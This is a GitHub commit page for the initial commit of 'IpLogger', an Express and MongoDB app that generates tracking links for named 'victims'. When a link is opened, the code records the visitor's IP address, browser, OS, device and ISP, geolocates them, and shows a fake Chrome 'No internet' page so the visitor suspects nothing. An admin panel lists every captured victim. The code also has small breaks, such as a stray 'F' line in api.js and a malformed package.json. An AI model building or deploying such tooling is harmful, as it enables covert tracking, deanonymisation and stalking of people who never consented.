Skip to content
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit 06ab848

Browse files
committedDec 15, 2020
initial commit
1 parent 99e46a4 commit 06ab848

29 files changed

+1275
-1
lines changed
 

‎.env

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
DBURL=url to db
2+
USERNAME=yourusername
3+
PASSWORD=yourpassword
4+
NODE_ENV=PRODUCTION
5+
6+
7+
8+
9+
10+
11+

‎.gitignore

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ typings/
6969
.yarn-integrity
7070

7171
# dotenv environment variables file
72-
.env
72+
7373
.env.test
7474

7575
# parcel-bundler cache (https://parceljs.org/)

‎api/api.js

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
const express=require("express");
2+
const crypto=require("crypto");
3+
const mongoose=require("mongoose");
4+
const victimmodel=require("../models/victimmodels");
5+
const dbConnect=require("../dbconnect");
6+
7+
8+
const router= express.Router();
9+
10+
router.post("/link",generateLink);
11+
F
12+
router.post("/remove",removeVictim);
13+
14+
router.get("/get",getVictim);
15+
16+
router.get("/logout",logout);
17+
18+
async function generateLink(req,res)
19+
{
20+
if(req.app.locals.isAuth)
21+
{
22+
let {victimname}=req.body;
23+
if(victimname)
24+
{
25+
const token=crypto.randomBytes(5).toString("hex");
26+
try
27+
{
28+
victim=await victimmodel.findOne({token:token});
29+
if(victim)
30+
{
31+
res.json({"status":"Try Again"});
32+
}
33+
else
34+
{
35+
data=new victimmodel({token:token,victimname:victimname});
36+
data.save().then((doc)=>
37+
{
38+
res.json({"status":"Sucess","token":token})
39+
})
40+
.catch(err=>{res.sendStatus(400)});
41+
}
42+
}
43+
catch(err)
44+
{
45+
//sending the err if it only for personal website
46+
res.json({"status":"Failed",msg:err.message});
47+
}
48+
}
49+
else
50+
{
51+
res.json({"status":"Failed",msg:"no user name provided"});
52+
}
53+
}
54+
else
55+
{
56+
res.json({status:"Failed",msg:"Unauthroize"});
57+
}
58+
}
59+
60+
async function removeVictim(req,res)
61+
{
62+
if(req.app.locals.isAuth)
63+
{
64+
let {token}=req.body;
65+
victimmodel.deleteOne({token:token},()=>{
66+
res.json({"status":"Sucess"});
67+
})
68+
.catch((err)=>{res.json({"status":"Failed",msg:err.message});});
69+
}
70+
else
71+
{
72+
res.json({status:"Failed",msg:"Unauthroize"});
73+
}
74+
}
75+
76+
async function getVictim(req,res)
77+
{
78+
if(req.app.locals.isAuth)
79+
{
80+
try
81+
{
82+
83+
var victim=await victimmodel.find({});
84+
85+
res.json({"status":"Sucess","victimdata":victim});
86+
}
87+
catch(err)
88+
{
89+
res.json({"status":"Failed","msg":err.message});
90+
}
91+
}
92+
else
93+
{
94+
res.json({status:"Failed",msg:"Unauthroize"});
95+
}
96+
}
97+
98+
function logout(req,res) {
99+
req.app.locals.isAuth=false;
100+
res.redirect("/login");
101+
}
102+
module.exports=router;

‎controllers/admin.js

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
require("dotenv").config();
2+
const mongoose=require("mongoose");
3+
const victimmodel=require("../models/victimmodels");
4+
const dbConnect=require("../dbconnect");
5+
6+
//handling GET /admin
7+
8+
function getHandler(req,res)
9+
{
10+
//if he is auth allow him else not
11+
if(req.app.locals.isAuth)
12+
{
13+
res.render("admin");
14+
}
15+
else
16+
{
17+
res.redirect("/login");
18+
}
19+
}
20+
21+
//handling POST /admin
22+
async function postHandler(req,res)
23+
{
24+
if(req.body)
25+
{
26+
let {name ,password}=req.body;
27+
if(name=== process.env.USERNAME && password===process.env.PASSWORD)
28+
{
29+
req.app.locals.isAuth=true;
30+
res.render("admin");
31+
}
32+
else
33+
{
34+
res.app.locals.error_msg="Invalid username or password";
35+
res.redirect("/login");
36+
}
37+
}
38+
else
39+
{
40+
res.redirect("/login");
41+
}
42+
}
43+
44+
45+
46+
module.exports={getHandler,postHandler};

‎controllers/login.js

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
2+
//handling GET /login
3+
function getHandler(req,res) {
4+
if(res.app.locals.error_msg)
5+
{
6+
res.render("login",{error_msg:res.app.locals.error_msg});
7+
res.app.locals.error_msg="";
8+
return;
9+
}
10+
res.render("login",{error_msg:""});
11+
}
12+
13+
module.exports={getHandler};

‎controllers/storedetails.js

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
const path=require("path");
2+
const dbConnect=require("../dbconnect");
3+
const victimmodel=require("../models/victimmodels");
4+
const uaparser=require("ua-parser-js");
5+
const axios=require("axios");
6+
7+
8+
async function storeDetails(req,res)
9+
{
10+
try
11+
{
12+
//connect to db
13+
await dbConnect();
14+
}
15+
catch(err)
16+
{
17+
res.json({"status":"Failed",msg:err.message});
18+
return;
19+
}
20+
let token=req.params.token;
21+
let ip=req.headers["x-forwarded-for"] || req.ip;
22+
console.log(ip)
23+
let useragent=uaparser(req.headers["user-agent"]);
24+
let browser=useragent["browser"]["name"];
25+
let os=useragent["os"]["name"];
26+
let device=useragent["device"];
27+
try
28+
{
29+
victim=await victimmodel.findOne({token:token});
30+
//update only if user token is avalible else not
31+
if(victim)
32+
{
33+
let data=await getLocation(ip);
34+
if(data)
35+
{
36+
let {city,region,country,org}=data;
37+
data=await victimmodel.findOneAndUpdate({token:token},{ip:ip,isvisited:true,city:city,region:region,country:country,org:org,device:device,os:os,browser:browser});
38+
39+
}
40+
res.render("error");
41+
}
42+
else
43+
{
44+
res.send("<h1>404 Not Found</h1>");
45+
}
46+
}
47+
catch(err)
48+
{
49+
res.json({"status":"Failed",msg:err.message});
50+
return;
51+
}
52+
53+
}
54+
55+
56+
//getting location based on ip add
57+
async function getLocation(ip)
58+
{
59+
60+
try
61+
{
62+
let res =await axios.get("https://ipapi.co/"+ip+"/json/");
63+
if(res["data"]["error"]==true)
64+
{
65+
console.log(res["data"]["reason"]);
66+
}
67+
return res["data"];
68+
}
69+
catch(err)
70+
{
71+
console.log(err.message);
72+
return -1;
73+
}
74+
75+
}
76+
77+
module.exports=storeDetails;

‎dbconnect.js

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
require("dotenv").config();
2+
3+
const mongoose=require("mongoose");
4+
var isconnected=false;
5+
async function dbConnect()
6+
{
7+
if(process.env.DBURL)
8+
{
9+
try
10+
{
11+
if(!isconnected)
12+
{
13+
//connecting to mongodb
14+
await mongoose.connect(process.env.DBURL,{useUnifiedTopology: true,useNewUrlParser: true });
15+
isconnected=true;
16+
17+
}
18+
//so it already connected so we return true
19+
return true
20+
}
21+
catch(err)
22+
{
23+
console.log("error connecting mongodb",err.message);
24+
}
25+
}
26+
else
27+
{
28+
console.log("env value is not defined");
29+
}
30+
}
31+
32+
module.exports=dbConnect;

‎index.js

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
// to do
2+
// []create home page
3+
// [x]make error page look similar
4+
// [x]handling error
5+
// [x]add meta tag
6+
// []add loging
7+
// []add auth
8+
// []
9+
10+
11+
12+
13+
//node modules
14+
const express=require("express");
15+
const path=require("path");
16+
const bodyParser=require("body-parser");
17+
18+
19+
//routers
20+
21+
const loginrouter=require("./routes/login");
22+
const adminrouter=require("./routes/admin");
23+
const apirouter=require("./api/api");
24+
const storedetailsrouter=require("./routes/storedetails")
25+
const dbConnect=require("./dbconnect");
26+
27+
const app=new express()
28+
29+
//middleware's
30+
31+
app.use(express.json());
32+
app.use(bodyParser.urlencoded({extended:true}));
33+
34+
35+
36+
// setting value
37+
app.set("view engine" ,"ejs");
38+
app.set("views","./views");
39+
40+
let port=process.env.PORT || 3000;
41+
42+
//connecting to db
43+
async function d() {
44+
await dbConnect();
45+
}
46+
d();
47+
48+
//routing
49+
50+
app.use("/public",express.static(path.join(__dirname+"/public")));
51+
app.use("/api",apirouter);
52+
app.use("/login",loginrouter);
53+
app.use("/admin",adminrouter);
54+
app.use("/token",storedetailsrouter);
55+
56+
57+
app.get("/",(req,res)=>{
58+
res.sendFile(path.join(__dirname+"/public/index.html"));
59+
})
60+
61+
62+
//404 page
63+
app.get("/*",(req,res)=>{
64+
res.send("<h1>404 Not Found</h1>");
65+
})
66+
67+
process.on("uncaughtException",()=>{
68+
//close the db
69+
70+
71+
})
72+
app.listen(port,"192.168.42.68",()=>{console.log("server started")});
73+
74+

‎models/victimmodels.js

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
const mongoose=require("mongoose");
2+
3+
4+
let schema=new mongoose.Schema(
5+
{
6+
token:
7+
{
8+
type:String
9+
},
10+
victimname:
11+
{
12+
type:String
13+
},
14+
isvisited:
15+
{
16+
type:Boolean,
17+
default:false
18+
},
19+
ip:
20+
{
21+
type:String
22+
},
23+
city:
24+
{
25+
type:String
26+
},
27+
region:
28+
{
29+
type:String
30+
},
31+
country:
32+
{
33+
type:String
34+
},
35+
org:
36+
{
37+
type:String
38+
},
39+
device:
40+
{
41+
type:JSON
42+
},
43+
os:
44+
{
45+
type:String
46+
},
47+
browser:
48+
{
49+
type:String
50+
}
51+
}
52+
);
53+
54+
55+
let victimmodel=new mongoose.model("victimdetails",schema);
56+
57+
module.exports=victimmodel;

‎package.json

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
{
2+
"name": "IpLogger",
3+
"version": "1.0.0",
4+
"description": "A tool to gather user information",
5+
"main": "index.js",
6+
"scripts": {
7+
"start": "node index.js",
8+
},
9+
"author": "k.Boopathi",
10+
"license": "MIT",
11+
"dependencies": {
12+
"axios": "^0.21.0",
13+
"body-parser": "^1.19.0",
14+
"dotenv": "^8.2.0",
15+
"ejs": "^3.1.5",
16+
"express": "^4.17.1",
17+
"mongoose": "^5.11.0",
18+
"ua-parser-js": "^0.7.22"
19+
}
20+
}

‎procfile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
web:node index.js

‎public/css/admin.css

Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
body
2+
{
3+
margin: 0;
4+
color: white;
5+
background-color:#40ff40;
6+
7+
}
8+
9+
.link-img,
10+
.copy-img
11+
{
12+
height: 30px;
13+
width: 30px;
14+
align-self: flex-start;
15+
margin-bottom: -33px
16+
}
17+
.heading_container
18+
{
19+
display: flex;
20+
width: 55%;
21+
}
22+
.copy-img
23+
{
24+
height: 25px;
25+
align-self: flex-end;
26+
width: 25px;
27+
border-radius: 10px;
28+
margin-right: 2px;
29+
}
30+
.copy-img:hover
31+
{
32+
cursor: pointer;
33+
background-color: white;
34+
}
35+
.logo
36+
{
37+
height: 30px;
38+
width: 30px;
39+
}
40+
.nav,
41+
.heading
42+
{
43+
display: flex;
44+
align-items: center;
45+
background-color: black;
46+
margin: 0;
47+
height: 50px;
48+
}
49+
.nav-brand
50+
{
51+
display: flex;
52+
justify-content: center;
53+
align-items: center;
54+
margin-right: auto;
55+
}
56+
.nav-center
57+
{
58+
margin: auto;
59+
}
60+
.logout
61+
{
62+
margin-right: 30px;
63+
}
64+
.logout a
65+
{
66+
color: white;
67+
text-decoration: none;
68+
font-size: 1rem;
69+
font-weight: bold;
70+
}
71+
.logout a:hover
72+
{
73+
color: blue;
74+
}
75+
.hero
76+
{
77+
display: flex;
78+
justify-content: center;
79+
align-items: center;
80+
height: 65px;
81+
}
82+
.hero-img
83+
{
84+
width: 35px;
85+
height:35px;
86+
}
87+
.form
88+
{
89+
position: relative;
90+
display: flex;
91+
flex-direction: column;
92+
justify-content: center;
93+
margin: 20px auto;
94+
width: 290px;
95+
border: 1px solid;
96+
align-items: center;
97+
border-radius: 15px;
98+
background: #000000de;
99+
color: white;
100+
}
101+
.location--icon
102+
{
103+
position: absolute;
104+
top: -10px;
105+
}
106+
.victimname
107+
{
108+
margin: 29px;
109+
border: 1px solid;
110+
padding: 5px;
111+
height: 26px;
112+
width: 85%;
113+
outline: none;
114+
font-size: 1rem;
115+
border-radius: 7px;
116+
}
117+
.link
118+
{
119+
padding: 5px;
120+
height: 26px;
121+
width: 77%;
122+
font-size: 1rem;
123+
border-radius: 0;
124+
align-self: flex-start;
125+
border: 0;
126+
margin-left: 28px;
127+
border-bottom: 1px solid white;
128+
background-color: #00000000;
129+
outline: none;
130+
color: white;
131+
}
132+
.getlink
133+
{
134+
margin: 10px;
135+
border: 0;
136+
border-radius: 7px;
137+
width: 90%;
138+
background-color:#40ff40;
139+
color: white;
140+
font-size: 1rem;
141+
font-weight: bold;
142+
height: 35px;
143+
outline: none;
144+
}
145+
.getlink:hover
146+
{
147+
cursor: pointer;
148+
background-color: #00f300;
149+
}
150+
151+
.victimno
152+
{
153+
display: flex;
154+
justify-content: center;
155+
}
156+
.cards
157+
{
158+
display: flex;
159+
justify-content: space-around;
160+
flex-wrap: wrap;
161+
background-color: #40ff40;
162+
padding: 36px;
163+
}
164+
.card
165+
{
166+
color: white;
167+
width: 330px;
168+
margin: 40px 0px;
169+
border-radius: 10px;
170+
}
171+
.card .body
172+
{
173+
background-color: black;
174+
border-radius: 18px;
175+
}
176+
.card .body:hover
177+
{
178+
box-shadow: 6px 6px 9px 5px #80808094;
179+
}
180+
.card-img
181+
{
182+
display:flex;
183+
justify-content: center
184+
}
185+
.value
186+
{
187+
padding: 10px;
188+
}
189+
.footer
190+
{
191+
text-align: right;
192+
margin: -50px 20px;
193+
}
194+
.remove-icon
195+
{
196+
height: 35px;
197+
width: 35px;
198+
border-radius: 10px;
199+
background-color: white;
200+
201+
}
202+
.remove-icon:hover
203+
{
204+
cursor: pointer;
205+
background: #ff8b67;
206+
}
207+
.list
208+
{
209+
display: flex;
210+
flex-direction: column;
211+
justify-content: space-between;
212+
}
213+
.list_item
214+
{
215+
list-style: none;
216+
margin: 10px;
217+
}

‎public/css/login.css

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
body
2+
{
3+
margin: 0;
4+
background-color:#40ff40;
5+
6+
}
7+
.logo
8+
{
9+
height: 30px;
10+
width: 30px;
11+
}
12+
.heading_container
13+
{
14+
display: flex;
15+
width: 55%;
16+
}
17+
.nav
18+
{
19+
display: flex;
20+
align-items: center;
21+
background-color: black;
22+
color: white;
23+
margin: 0;
24+
height: 50px;
25+
}
26+
.heading
27+
{
28+
text-align: center;
29+
}
30+
.nav-brand
31+
{
32+
display: flex;
33+
justify-content: center;
34+
align-items: center;
35+
margin-right: auto;
36+
}
37+
.nav-center
38+
{
39+
margin: auto;
40+
}
41+
42+
.hero
43+
{
44+
display: flex;
45+
justify-content: center;
46+
align-items: center;
47+
height: 65px;
48+
}
49+
.hero-img
50+
{
51+
width: 35px;
52+
height:35px;
53+
}
54+
.error_msg
55+
{
56+
text-align: center;
57+
color: red;
58+
}
59+
.container
60+
{
61+
display: flex;
62+
justify-content: center;
63+
width: auto;
64+
}
65+
.form__container
66+
{
67+
background-color: #f6f8fa;
68+
width: 300px;
69+
height: 300px;
70+
border: 1px solid white;
71+
border-radius: 10px;
72+
box-shadow:2px 1px 3px 3px grey;
73+
}
74+
.form
75+
{
76+
margin: 50px 0px
77+
}
78+
label
79+
{
80+
font-size: 20px;
81+
}
82+
.name__container,
83+
.password__container,
84+
.login__container
85+
{
86+
display: flex;
87+
flex-direction: column;
88+
align-items: center;
89+
margin: 10px;
90+
}
91+
.login__container
92+
{
93+
margin: 40px 10px;
94+
width: 90%;
95+
}
96+
.login__container input
97+
{
98+
background-color:#2ea44f;
99+
color: white;
100+
height: 35px;
101+
}
102+
input
103+
{
104+
background-color: rgb(232,240,254);
105+
border-radius: 10px;
106+
border: 2px;
107+
height: 30px;
108+
width: 90%;
109+
outline: none;
110+
font-size: 1.3rem;
111+
}
112+
#login:hover
113+
{
114+
background-color: #05de42fa;
115+
}

‎public/img/admin.png

33 KB
Loading

‎public/img/copy.png

14.7 KB
Loading

‎public/img/dino.png

3.09 KB
Loading

‎public/img/hero.png

97.6 KB
Loading

‎public/img/links.png

13.3 KB
Loading

‎public/img/log-format.png

12.5 KB
Loading

‎public/img/remove.png

5.43 KB
Loading

‎public/img/victim.png

19 KB
Loading

‎public/index.html

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<title>IP Logger</title>
5+
<meta charset="utf-8" name="viewport" content="width=device-width,initial-scale=1.0">
6+
</head>
7+
<style type="text/css">
8+
body
9+
{
10+
margin: 0;
11+
12+
}
13+
.login_container
14+
{
15+
display: flex;
16+
width: 55%;
17+
}
18+
.logo
19+
{
20+
height: 30px;
21+
width: 30px;
22+
}
23+
.nav,
24+
.login
25+
{
26+
display: flex;
27+
align-items: center;
28+
background-color: black;
29+
color: white;
30+
margin: 0;
31+
height: 50px;
32+
}
33+
.login
34+
{
35+
margin-left: auto;
36+
margin-right: 20px;
37+
text-decoration: none;
38+
color: white;
39+
}
40+
.login:hover
41+
{
42+
color: blue;
43+
}
44+
.nav-brand
45+
{
46+
display: flex;
47+
justify-content: center;
48+
align-items: center;
49+
margin-right: auto;
50+
}
51+
.nav-center
52+
{
53+
margin: auto;
54+
}
55+
.hero__container
56+
{
57+
display: flex;
58+
flex-direction: column;
59+
align-items: center;
60+
61+
}
62+
.hero__text
63+
{
64+
65+
color: #002d6d;
66+
background-color: white;
67+
position: absolute;
68+
left: 50%;
69+
}
70+
.hero__img img
71+
{
72+
width: 100vw;
73+
height: 100vh;
74+
}
75+
</style>
76+
<body>
77+
<div class="nav">
78+
<div class="nav-brand">
79+
<img src="/public/img/log-format.png" class="logo"/>
80+
<h4>IpLogger</h4>
81+
</div>
82+
<div class="login_container">
83+
<a class="login" href="/login">Login</a>
84+
</div>
85+
</div>
86+
<div class="hero__container">
87+
<div class="hero__img">
88+
<img src="./public/img/hero.png">
89+
</div>
90+
</div>
91+
</body>
92+
</html>

‎public/js/admin.js

Lines changed: 100 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,100 @@
1+
async function getLink()
2+
{
3+
let victimname=document.querySelector(".victimname").value;
4+
let linkbox=document.querySelector(".link");
5+
linkbox.value="Fetching.........";
6+
let body=JSON.stringify({"victimname":victimname})
7+
let res=await fetch("/api/link",{
8+
method:"post",
9+
headers:{"Content-Type":"application/json"},
10+
body:body
11+
}
12+
);
13+
res=await res.json();
14+
if(res.status=="Sucess")
15+
{
16+
linkbox.value=window.location.origin+"/token/"+res.token;
17+
}
18+
else
19+
{
20+
linkbox.value="Failed to fetch"+res.msg;
21+
}
22+
}
23+
24+
async function removeVictim(event)
25+
{
26+
let removeicon= event;
27+
let token=removeicon.classList[1];
28+
let body=JSON.stringify({"token":token});
29+
let res=await fetch("/api/remove",{
30+
method:"post",
31+
headers:{"Content-Type":"application/json"},
32+
body:body
33+
});
34+
res=await res.json();
35+
if(res.status=="Sucess")
36+
{
37+
alert("Sucessfully removed");
38+
removeicon.parentElement.parentElement.parentElement.remove();
39+
}
40+
else
41+
{
42+
alert("Sorry Failed to remove",res.msg);
43+
}
44+
45+
}
46+
47+
async function fetchVictim()
48+
{
49+
let res=await fetch("/api/get");
50+
res=await res.json();
51+
let cards=document.querySelector(".cards");
52+
if(res.status=="Sucess")
53+
{
54+
if(res["victimdata"].length>0)
55+
{
56+
res["victimdata"].forEach((victim)=>{
57+
cards.innerHTML+='<div class="card">\
58+
<div class="body">\
59+
<div class="card-img">\
60+
<img src="public/img/victim.png" style="height:29px;">\
61+
</div>\
62+
<p class="victimno" style="margin:0">'+victim["victimname"]+'</p>\
63+
<ol class="list">\
64+
<li class="list_item">Ip:<span class="value">'+victim["ip"]+'</span></li>\
65+
<li class="list_item">City:<span class="value">'+victim["city"]+'</span></li>\
66+
<li class="list_item">Region:<span class="value">'+victim["region"]+'</span></li>\
67+
<li class="list_item">Country:<span class="value">'+victim["country"]+'</span></li>\
68+
<li class="list_item">Orgnaisation:<span class="value">'+victim["org"]+'</span></li>\
69+
<li class="list_item">Device:<span class="value">'+victim["device"]+'</span></li>\
70+
<li class="list_item">os:<span class="value">'+victim["os"]+'</span></li>\
71+
<li class="list_item">browser:<span class="value">'+victim["browser"]+'</span></li>\
72+
<li class="list_item">Isvisited:<span class="value">'+victim["isvisited"]+'</span></li>\
73+
</ol>\
74+
<div class="footer">\
75+
<img src="/public/img/remove.png" class="remove-icon '+victim.token+'" onclick="removeVictim(this)">\
76+
</div>\
77+
</div>';
78+
});
79+
80+
}
81+
}
82+
}
83+
84+
function copyLink()
85+
{
86+
let copytext=document.querySelector(".link");
87+
copytext.select();
88+
copytext.setSelectionRange(0,99999);
89+
document.execCommand("copy");
90+
alert("copied");
91+
}
92+
function main() {
93+
fetchVictim();
94+
var getbutton=document.querySelector(".getlink");
95+
getbutton.addEventListener("click",getLink);
96+
var copybutton=document.querySelector(".copy-img");
97+
copybutton.addEventListener("click",copyLink);
98+
}
99+
100+
main()

‎routes/admin.js

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
const express=require("express");
2+
const {getHandler,postHandler}=require("../controllers/admin")
3+
4+
const router= express.Router();
5+
6+
router.get("/",getHandler);
7+
8+
router.post("/",postHandler);
9+
10+
11+
module.exports=router;

‎routes/login.js

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
const express=require("express");
2+
const {getHandler}=require("../controllers/login")
3+
const router= express.Router();
4+
5+
6+
router.get("/",getHandler);
7+
8+
module.exports=router;

‎routes/storedetails.js

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
const express=require("express");
2+
const storedetails=require("../controllers/storedetails")
3+
const router= express.Router();
4+
5+
6+
router.get("/:token",storedetails);
7+
8+
module.exports=router;

‎views/admin.ejs

Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<title>Admin</title>
5+
<link rel="stylesheet" type="text/css" href="/public/css/admin.css">
6+
<meta charset="utf-8" name="viewport" content="width=device-width,initial-scale=1.0">
7+
</head>
8+
<body>
9+
<div class="nav">
10+
<div class="nav-brand">
11+
<img src="/public/img/log-format.png" class="logo"/>
12+
<h4>IpLogger</h4>
13+
</div>
14+
<!-- <div class="heading_container">
15+
<h3 class="heading">Admin Pannel</h3>
16+
</div> -->
17+
<div class="logout">
18+
<a href="/api/logout" >logout</a>
19+
</div>
20+
</div>
21+
<div class="hero">
22+
<img src="/public/img/admin.png" class="hero-img">
23+
</div>
24+
<div class="form">
25+
<input type="text" name="victimname" class="victimname" placeholder="Enter the victim name" required="true">
26+
<img src="/public/img/copy.png" class="copy-img">
27+
<img src="/public/img/links.png" class="link-img">
28+
<input type="text" name="link" class="link" placeholder="Link">
29+
30+
<input type="button" name="getlink" class="getlink" value="Get Link" readonly="true">
31+
</div>
32+
<h1 style="text-align:center; color: black;background-color: #40ff40;margin:0;">Log's</h1>
33+
<div class="cards">
34+
</div>
35+
36+
</body>
37+
<script type="text/javascript">
38+
async function getLink()
39+
{
40+
let victimname=document.querySelector(".victimname").value;
41+
let linkbox=document.querySelector(".link");
42+
linkbox.value="Fetching.........";
43+
let body=JSON.stringify({"victimname":victimname})
44+
let res=await fetch("/api/link",{
45+
method:"post",
46+
headers:{"Content-Type":"application/json"},
47+
body:body
48+
}
49+
);
50+
res=await res.json();
51+
if(res.status==="Sucess")
52+
{
53+
linkbox.value=window.location.origin+"/token/"+res.token;
54+
}
55+
else if(res.status==="Failed")
56+
{
57+
linkbox.value="Failed "+res.msg;
58+
}
59+
else if(res.status==="Try Again")
60+
{
61+
getLink();
62+
}
63+
}
64+
65+
async function removeVictim(event)
66+
{
67+
let removeicon= event;
68+
let token=removeicon.classList[1];
69+
let body=JSON.stringify({"token":token});
70+
let res=await fetch("/api/remove",{
71+
method:"post",
72+
headers:{"Content-Type":"application/json"},
73+
body:body
74+
});
75+
res=await res.json();
76+
if(res.status=="Sucess")
77+
{
78+
alert("Sucessfully removed");
79+
removeicon.parentElement.parentElement.parentElement.remove();
80+
}
81+
else
82+
{
83+
alert("Sorry Failed to remove ",res.msg);
84+
}
85+
86+
}
87+
88+
async function fetchVictim()
89+
{
90+
let res=await fetch("/api/get");
91+
res=await res.json();
92+
let cards=document.querySelector(".cards");
93+
if(res.status=="Sucess")
94+
{
95+
if(res["victimdata"].length>0)
96+
{
97+
res["victimdata"].forEach((victim)=>{
98+
99+
console.log(victim)
100+
var victimname=victim["victimname"];
101+
var ip=victim["ip"]?victim["ip"]:"Not Known";
102+
var city=victim["city"]?victim["city"]:"Not Known";
103+
var region=victim["region"]?victim["region"]:"Not Known";
104+
var country=victim["country"]?victim["country"]:"Not Known";
105+
var org=victim["org"]?victim["org"]:"Not Known";
106+
107+
if(victim["device"])
108+
{
109+
var vendor=victim["device"]["vendor"]?victim["device"]["vendor"]:"Not Known";
110+
var model=victim["device"]["model"]?victim["device"]["model"]:"Not Known";
111+
var type=victim["device"]["type"]?victim["device"]["type"]:"Not Known";
112+
}
113+
else
114+
{
115+
var vendor="Not Known";
116+
var model="Not Known";
117+
var type="Not Known";
118+
}
119+
var os=victim["os"]?victim["os"]:"Not Known";
120+
var browser=victim["browser"]?victim["browser"]:"Not Known";
121+
var isvisited=victim["isvisited"];
122+
123+
124+
cards.innerHTML+='\
125+
<div class="card">\
126+
<div class="body">\
127+
<div class="card-img">\
128+
<img src="public/img/victim.png" style="height:29px;">\
129+
</div>\
130+
<p class="victimno" style="margin:0">'+victimname+'</p>\
131+
<ol class="list">\
132+
<li class="list_item">Ip:<span class="value">'+ip+'</span></li>\
133+
<li class="list_item">City:<span class="value">'+city+'</span></li>\
134+
<li class="list_item">Region:<span class="value">'+region+'</span></li>\
135+
<li class="list_item">Country:<span class="value">'+country+'</span></li>\
136+
<li class="list_item">Orgnaisation:<span class="value">'+org+'</span></li>\
137+
<li class="list_item">Vendor:<span class="value">'+vendor+'</span></li>\
138+
<li class="list_item">Model:<span class="value">'+model+'</span></li>\
139+
<li class="list_item">Type:<span class="value">'+type+'</span></li>\
140+
<li class="list_item">os:<span class="value">'+os+'</span></li>\
141+
<li class="list_item">browser:<span class="value">'+browser+'</span></li>\
142+
<li class="list_item">Isvisited:<span class="value">'+isvisited+'</span></li>\
143+
</ol>\
144+
<div class="footer">\
145+
<img src="/public/img/remove.png" class="remove-icon '+victim.token+'" onclick="removeVictim(this)">\
146+
</div>\
147+
</div>\
148+
</div>';
149+
});
150+
151+
}
152+
}
153+
}
154+
155+
function copyLink()
156+
{
157+
let copytext=document.querySelector(".link");
158+
copytext.select();
159+
copytext.setSelectionRange(0,99999);
160+
document.execCommand("copy");
161+
alert("copied");
162+
}
163+
function main() {
164+
fetchVictim();
165+
var getbutton=document.querySelector(".getlink");
166+
getbutton.addEventListener("click",getLink);
167+
var copybutton=document.querySelector(".copy-img");
168+
copybutton.addEventListener("click",copyLink);
169+
}
170+
171+
main()
172+
</script>
173+
</html>
174+
175+
176+
177+
178+
179+

‎views/error.ejs

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<title>No internet</title>
5+
<meta charset="utf-8" name="viewport" content="width=device-width,intial-scale=1.0">
6+
</head>
7+
<style type="text/css">
8+
h1
9+
{
10+
margin: 0;
11+
}
12+
img
13+
{
14+
height: 100px;
15+
width: 100px;
16+
}
17+
.container
18+
{
19+
display: flex;
20+
flex-direction: column;
21+
justify-content: center;
22+
width: 50%;
23+
height: 100vh;
24+
margin: auto;
25+
}
26+
@media (max-width:480px)
27+
{
28+
body
29+
{
30+
font-size: 15px;
31+
}
32+
h1
33+
{
34+
font-size: 17px;
35+
}
36+
img
37+
{
38+
height: 70px;
39+
width: 70px;
40+
}
41+
.container
42+
{
43+
margin: 0;
44+
width: 100%;
45+
}
46+
}
47+
</style>
48+
<body>
49+
<div class="container">
50+
<img src="/public/img/dino.png">
51+
<h1 class="heading">
52+
No internet
53+
</h1>
54+
<div class="description">
55+
<p>Try:</p>
56+
<ul>
57+
<li>Checking the network cables, modem, and router</li>
58+
<li>Reconnecting to Wi-Fi</li>
59+
</ul>
60+
</div>
61+
<div class="error-code"><p>ERR_INTERNET_DISCONNECTED<p></div>
62+
</div>
63+
</body>
64+
</html>
65+
66+
67+

‎views/login.ejs

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<title>login</title>
5+
<link rel="stylesheet" type="text/css" href="public/css/login.css">
6+
<meta charset="utf-8" name="viewport" content="width=device-width,initial-scale=1.0">
7+
8+
</head>
9+
10+
<body>
11+
<div class="nav">
12+
<div class="nav-brand">
13+
<img src="/public/img/log-format.png" class="logo"/>
14+
<h4>IpLogger</h4>
15+
</div>
16+
<!-- <div class="heading_container">
17+
<h3 class="heading">Admin Login</h3>
18+
</div> -->
19+
</div>
20+
21+
<div class="hero">
22+
<img src="/public/img/admin.png" class="hero-img">
23+
</div>
24+
<div class="error_msg"><span><%=error_msg%></span></div>
25+
26+
<div class="container">
27+
<div class="form__container">
28+
<form class="form" action="/admin" method="post">
29+
